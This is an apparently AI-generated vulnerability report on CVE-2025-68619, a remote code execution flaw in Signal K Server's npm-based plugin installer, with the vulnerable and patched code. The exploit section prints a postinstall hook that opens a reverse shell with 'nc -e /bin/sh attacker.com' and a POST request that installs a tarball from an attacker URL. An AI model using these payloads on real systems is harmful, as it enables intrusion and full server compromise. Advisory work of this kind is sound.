CVEReports
Reports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Reports
  • Sitemap
  • RSS Feed

Company

  • About
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Powered by Google Gemini & CVE Feed

|
•

CVE-2025-68619
CVSS 7.3|EPSS 0.07%

Signal K RCE: How a Malicious npm Package Can Sink Your Boat

Amit Schendel
Amit Schendel
Senior Security Researcher•January 2, 2026•6 min read
PoC Available

Executive Summary (TL;DR)

Authenticated administrators can achieve Remote Code Execution (RCE) on Signal K Server versions prior to 2.19.0. The vulnerability exists because the server passes unsanitized user input directly to `npm install`, allowing an attacker to specify a remote URL instead of a semantic version. This triggers the download of a malicious package and the immediate execution of its `postinstall` scripts.

Signal K Server, the open-source hub for marine data, contained a Remote Code Execution (RCE) vulnerability in its plugin management system. By failing to validate version strings passed to the npm installer, the server allowed authenticated administrators to trick the system into downloading and executing malicious packages from arbitrary URLs.

The Hook: Coding on the High Seas

Most people buy a boat to escape the relentless march of technology. You want wind, waves, and maybe a cold drink—not a Node.js server stack trace. But this is 2025, and even your catamaran needs an API. Enter Signal K Server, the open-source nervous system for modern marine electronics. It aggregates data from NMEA networks, GPS, and sensors into a nice JSON format that developers love.

Like any modern platform worth its salt, Signal K has an "App Store." This allows boat owners to install plugins for weather routing, anchor alarms, or monitoring their battery banks. Under the hood, this isn't some proprietary binary installer; it's just a wrapper around npm, the Node Package Manager.

And here lies the problem. When you wrap a powerful tool like npm in a web interface, you have to be paranoid about what you feed it. If you aren't, you aren't just installing a plugin; you're handing the keys to the engine room to anyone who asks nicely. In CVE-2025-68619, Signal K trusted the input a little too much, turning a mundane plugin update into a full-blown system compromise.

The Flaw: It's Not Just a Number

The vulnerability lives in the logic responsible for installing specific versions of a plugin. When an admin selects a plugin version in the web UI, the server sends a request that eventually results in a shell command looking something like this:

npm install <package_name>@<version>

The developers likely assumed the version parameter would always be a harmless semantic version string, like 1.2.3 or 2.0.0-beta. But npm is a flexible beast. It doesn't just understand numbers; it understands the internet.

In the npm ecosystem, a "version" can actually be a URL to a tarball, a GitHub repository shorthand, or a raw Git URL. If you pass https://attacker.com/evil.tgz as the version, npm will happily fetch it, unpack it, and install it. This is a feature, not a bug—unless you're a web server blindly passing user input into that argument slot. By failing to sanitize the version parameter, Signal K allowed users to point the installer at any location on the internet, not just the official npm registry.

The Code: The Smoking Gun

Let's look at the TypeScript code responsible for this mechanism. In src/modules.ts, the function runNpm takes a package name and a version string and spawns a child process. Before the patch, the code looked roughly like this (simplified for dramatic effect):

// Vulnerable Code (Conceptual)
export function runNpm(app, cmd, name, version, onErr, onClose) {
  let npmArgs = [cmd, '--save', name];
  
  // If a version is provided, append it directly
  if (version) {
    npmArgs[2] = `${name}@${version}`;
  }
 
  // Spawn the process
  const npm = child_process.spawn('npm', npmArgs, ...);
}

See the issue? The code blindly concatenates ${name}@${version}. If I send a version of https://evil.com/shell.tar.gz, the server executes npm install plugin-name@https://evil.com/shell.tar.gz.

The fix, implemented in commit f06140bed702de93a5dbb6b33dc2486960764d1d, introduces a sanity check using the semver library. It acts as a bouncer, rejecting anything that doesn't look like a proper version number.

// Patched Code
if (version && version !== '' && !semver.valid(version)) {
  onErr(new Error('Invalid version: ' + version))
  onClose(-1)
  return
}

Now, if you try to pass a URL or a git repo, semver.valid() returns null, and the function bails out before npm is ever touched.

The Exploit: From Install to Shell

You might be thinking, "So what if I can install a package from my own server? I still need to execute code, right?"

This is where npm's lifecycle scripts come into play. A package.json file can define scripts that run automatically during the installation process. The most notorious of these is postinstall. An attacker doesn't need to wait for the user to run the plugin; the act of installing it is enough to trigger execution.

Here is how an attacker weaponizes this:

  1. Craft the Payload: Create a malicious npm package. In its package.json, add a postinstall script that opens a reverse shell.
    {
      "name": "innocent-looking-plugin",
      "version": "1.0.0",
      "scripts": {
        "postinstall": "nc -e /bin/sh attacker.com 1337"
      }
    }
  2. Host the Trap: Compress this into a tarball (evil.tgz) and host it on a public web server.
  3. Trigger the Trap: Authenticate to the Signal K dashboard (or steal a session token). Send a POST request to the installation endpoint:
    POST /admin/plugins/install
    Content-Type: application/json
     
    {
      "name": "any-plugin-name",
      "version": "http://attacker.com/evil.tgz"
    }

Signal K receives the request, runs npm install, downloads the tarball, and immediately executes nc -e /bin/sh. The attacker now has a shell on the boat's server. From there, they can pivot to the NMEA 2000 network, mess with navigation data, or just turn off the fridge.

The Fix & Residual Risks

The remediation is straightforward: validate your inputs. The maintainers added strict semantic version validation, which effectively kills the "URL as a version" attack vector. If it doesn't look like x.y.z, it doesn't run.

However, security is rarely black and white. While this patch fixes the direct RCE via URL injection, there are residual risks to consider.

First, Dependency Confusion: Validating semver strings prevents direct URL loading, but it doesn't verify who published that version. If an attacker claims a plugin is version 99.9.9 and publishes it to the public npm registry, they might still trick a server into "updating" to a malicious package, provided the name matches.

Second, Windows Command Injection: The fix focuses on the version string. If the name parameter isn't equally sanitized, and the server is running on Windows (where child_process.spawn often falls back to cmd.exe quirks), it might still be possible to inject shell metacharacters like & or | into the package name itself. While less likely to be exploitable due to npm's own validation of package names, it's a reminder that relying on the shell to execute package managers is always fraught with peril.

Official Patches

Signal KSignal K Server v2.19.0 Release Notes
GitHubPatch Commit

Fix Analysis (1)

Technical Appendix

CVSS Score
7.3/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS Probability
0.07%
Top 100% most exploited

Affected Systems

Signal K Server < 2.19.0

Affected Versions Detail

ProductAffected VersionsFixed Version
Signal K Server
Signal K
< 2.19.02.19.0
AttributeDetail
Attack VectorNetwork (Authenticated API)
ImpactRemote Code Execution (RCE)
CVSS v4.07.3 (High)
CWE IDCWE-94 (Improper Control of Generation of Code)
ComponentPlugin Management / npm wrapper
PrerequisitesAdmin Credentials

MITRE ATT&CK Mapping

MITRE ATT&CK Mapping

T1203Exploitation for Client Execution
Execution
T1059Command and Scripting Interpreter
Execution
CWE-94
Improper Control of Generation of Code ('Code Injection')

The product allows user input to control or influence the generation of code that is then executed by the system.

Exploit Resources

Known Exploits & Detection

TheoreticalExploitation relies on standard npm functionality to install from remote URLs.

Vulnerability Timeline

Vulnerability Timeline

Patch Commit Merged
2025-02-14
Version 2.19.0 Released
2025-02-14
CVE Published
2025-02-18

References & Sources

  • [1]GitHub Security Advisory
  • [2]NVD Detail

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.